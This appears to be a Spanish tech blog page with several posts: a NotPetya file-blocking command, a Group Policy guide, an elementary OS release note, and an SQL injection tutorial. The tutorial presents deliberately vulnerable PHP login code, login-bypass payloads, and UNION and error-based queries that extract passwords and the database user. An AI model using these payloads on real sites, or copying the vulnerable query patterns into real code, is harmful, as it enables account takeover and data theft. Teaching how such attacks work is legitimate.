Publicado el

Evita el NotPetya la nueva plaga de Ransomware con este siempre comando

En los últimos dias se ah propagado una nueva amenaza que llego para ocupar el lugar  del Ransomware que trajo al mundo de cabeza  los pasados meses.

Evita el mas rato y tener la perder tu información ejecutando este comando, este es una vacuna para evitar que el Ransomware cambien de exención los ficheros de tu equipo.

Funciona en todas las versiones de windows, y recuerden siempre actualizar sus parches de seguridad, ya que en estos últimos días windows sacara su parche de seguridad para evitar este fallo.

En la consola:
CD %Systemroot%
echo.x>>perfc
attrib +r perfc

Eso es todo 

Comenten si les funciono,  y cuidado con lo que abren en internet.

En los últimos días estaremos subiendo mas contenido a la web.

Publicado el

Como evitar que un usuario acceda al Panel de Control en Windows 10

El Panel de Control es uno de los elementos mas importantes del sistema operativo ya que constituye la puerta que da acceso a las aplicaciones  y programas del ordenador por lo que aveces es necesario restringir el acceso a el maximo si  el equipo es utilizado por mas personas.

Si te encuentras en una situación parecida te vamos amostrar de una forma rápida y sencilla Cómo evitar que los usuarios accedan al panel de control en su equipo ya sea de mesa o portátil con Windows .

Presiona Windows + R , para abrir la venta de ejecutar.

Captura de pantalla (1608)

Escribe gpedit.msc y presiona la tecla enter.

Captura de pantalla (1609)

En el panel izquierdo, haz clic en la opción de configuración de usuario/Plantillas administrativas/Panel de control.

Captura de pantalla (1613)

A continuación, en el panel derecho del Panel de control, haga doble clic en la opción Prohibir el acceso al Panel de control y configuración de PC.

Captura de pantalla (1614)

En la siguiente ventana, seleccione Habilitar , haga clic en Aceptar , a continuación, cierre el Editor de directivas de grupo.

Captura de pantalla (1615)

Apartir de ahora con la configuración que has hecho los usuarios no tendrán acceso a su panel de control.

Publicado el

Se libera elementary OS Freya

Elementary OS

Después de poco mas de año y medio de desarrollo se libero la nueva versión de esta popular distribución de Linux, presentando 3 nuevas aplicaciones, un sistema de notificaciones nuevo, una vista nueva de las aplicaciones en ejecución, muchas mejoras y mas de 1,100 correcciones.

Para quienes no están familiarizados con esta distro, esta basada en Ubuntu (Freya esta basado en Ubuntu 14.04), con su propio entorno gráfico llamado “Pantheon” y la mayoría de sus aplicaciones por defecto propias, las cuales lucen bastante bien.

Aplicaciones

Según el comunicado de prensa de elementary OS la anterior versión llamada “Luna” fue descargada mas de 3 millones de veces, siendo de las 10 distros mas descargadas.

 

Publicado el

Tutorial SQL Injection ¿Como se Hace?

La inyección SQL es el ataque vía web, que aprovecha errores en la filtración de datos introducidos por el usuario, y que permiten a un atacante, tener control de cierta aplicación.

Atención

Es recomendable tener un poco de conocimiento en PHP para  el mejor entendimiento de los  Códigos.

Los ataques SQL pueden ser evitados de muchas formas, iniciare con algunos ejemplos de instrucciones vulnerables, con las “magic quotes” desactivadas.

Ejemplo 1

Código:
$us=$_POST[‘usuario’];
$pass=$_POST[‘pass’];
$sql=”SELECT * FROM usuarios WHERE user = ‘$us’ AND password=’$pass'”;
Código:
if(mysql_fetch_array($exc)){
echo “Inicio de sesión correcto”; // Esto fue modificado
}
Este es el tipico sistema de verificación de contraseñas. Utiliza la instruccion mysql_fetch_array(funcion de mysql, que devuelve falso si no hay ningún resultado, en la ‘querry’, o petición), asi que si no hay ningún resultado donde el usuario y el password conuerden, el resultado es false.

como podemos hacer que no devuelva false??

  • Con el password correcto
  • Haciendo trampa

En este caso como no conocemos el password correcto  usaremos la segunda opción:

Haciendo trampa.. se haría algo así:

esta es la petición que solo nos deja pasar si sabemos el password:
Código
SELECT * FROM usuarios WHERE user = '$us' AND password='$pass'ahora, ¿como se puede hacer que nos devuelva true aunque no sepamos el password, sabiendo que solo podemos modificar $pass y $us?
Supongamos que ponemos de usuario betito, y de password pass1234.
El usuario existe, pero no sabemos el pass..
la sentencia que SQL recibirá seria :

Código:
SELECT * FROM usuarios WHERE user = 'betito' AND password='pass1234'
Como no hay ningun campo donde el usuario y el password coincidan, nos devolvera false.
Ahora, con un poco de creatividad:
de usuario:   betito
de password: ‘ OR ”=’la sentencia SQL recibira:

SELECT * FROM usuarios WHERE user = 'betito' AND password='' OR ''=''

nos devolvera true, si hay algun resultado y como NADA siempre es igual a NADA, nos devolvera true, y pasamos el mecanismo de validación como el usuario betito.

Otros posibles valores que devuelven true son:

  • usuario: betito AND /*   password: */ ”=’
  • usuario: ‘ OR 1=1 //

Ahora… que si quisieras saber el password.. (te advierto, que normalmente esta cifrado, y deberas desencriptarlo, con alguna herramienta para eso como john the ripper), tomemos el siguiente ejemplo.

Ejemplo 2
Código:
$us=$_POST[‘usuario’];
$pas=$_POST[‘pass’];
if($_GET[‘usuario’] || $_GET[‘pass’]){
die(“Hack Attempt”);
}
$sql=”SELECT password FROM usuarios WHERE user = ‘$us'”;
Código:
$resp = mysql_query($sql) or die(mysql_error());
if(mysql_fetch_array($resp)){
if($resp==$pas){
echo “Inicio de sesión exitoso”; // Esto fue modificado
}else{
echo “el password $resp es incorrecto”;
}
}
 Bien, este ejemplo, que se ve mucho mas seguro  y surge la pregunta , ¿es vulnerable?
SI, ¿porque?
Ya quedamos en que no hay magic quotes, las magic quotes son una función que trata de desactivar todas las cadenas introducidas por el usuario, que parezcan peligrosas, como comillas, diagonales, \0 etc..
el webmaster pensó, que como no usaba el mysql_fetch_array, entonces no podian usar un ‘ OR ”=’, como la inyección clasica, pasada.Ahora, queremos sacar el password.. pero.. ¿como?

Hay una instruccion en SQL llamada UNION, que sirve para obtener información de 2 tablas, o..
Bueno.. UNION necesita algunos requisitos.

  • Necesitas meter la misma cantidad de valores que tiene la tabla.
  • Tener un informe de los errores que provocaremos en la instrucción

Bien ahora empezemos.
la instrucción a modificar es la siguiente:

Còdigo:
SELECT password FROM usuarios WHERE user = '$us'como ejemplo, si colocamos de usuario: maestro
la instrucción que llega seria:

 

Código:
SELECT password FROM usuarios WHERE user = 'maestro'

regresemos al UNION.

UNION necesita que el numero de columnas sea igual, sino sacara un error.

y exactamente, lo que necesitamos es un error, que nos diga cuando estamos mal, para saber cuando estamos bien.

el UNION se usa de esta forma:

usuario: ‘ AND 0 UNION SELECT 1 AND ‘l’=’
SELECT password FROM usuarios WHERE user = '' AND 0 UNION SELECT 1 AND 'l'=''

para lo cual SQL nos respondera:

Código Regreso:
The used SELECT statements have a different number of columns:SELECT password FROM usuarios WHERE user = ” AND 0 UNION SELECT 1 AND ‘l’=”

Continuando por el mismo camino, podemos hacer que nos regrese un error, al tratar de UNIR un campo de tipo INT (osea que guarda numeros) a un CHAR (guarda letras)

Quedaria algo así:

‘ UNION SELECT MIN(Password),2,3,4,5 FROM usuarios WHERE user = ‘maestro’

la sentencia seria esta:

SELECT password FROM usuarios WHERE user = '' UNION SELECT MIN(Password),2,3,4,5 FROM usuarios WHERE user = 'maestro'

que nos da como error:

Codigo
Syntax error converting the varchar value ‘12345’ to a column of data type int.

donde el password es 12345

Las inyecciones ultimamente han logrado tener mas poder que antes,  debemos sacar toda la información posible, y con un poco de esfuerzo, conseguimos tener control de archivos (crear, borrar, etc..).el siguiente es un ejemplo, con la misma sentencia usuario:

Código:

‘ AND 0 UNION SELECT 1,user(),3,4,5 AND ‘l’=’

y nos regresa:

Código Respuesta:
Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation ‘UNION’

que significa esto? que estamos metiendo valores en utf cuando debe ser en latin1.. eso lo arreglamos asi:

‘ AND 0 UNION SELECT 1,convert(user() using latin1),3,4,5 AND ”l=’

y eso nos regresa:

Código Shell:
root@localhost
esto, no es todo, con hacer que regrese valores con ‘<??>’, podemos incluso crearnos nuestra shell.
Bueno amigos esto fue todo el tutorial esperando sus comentarios .
Nos vemos en el siguiente Tutorial.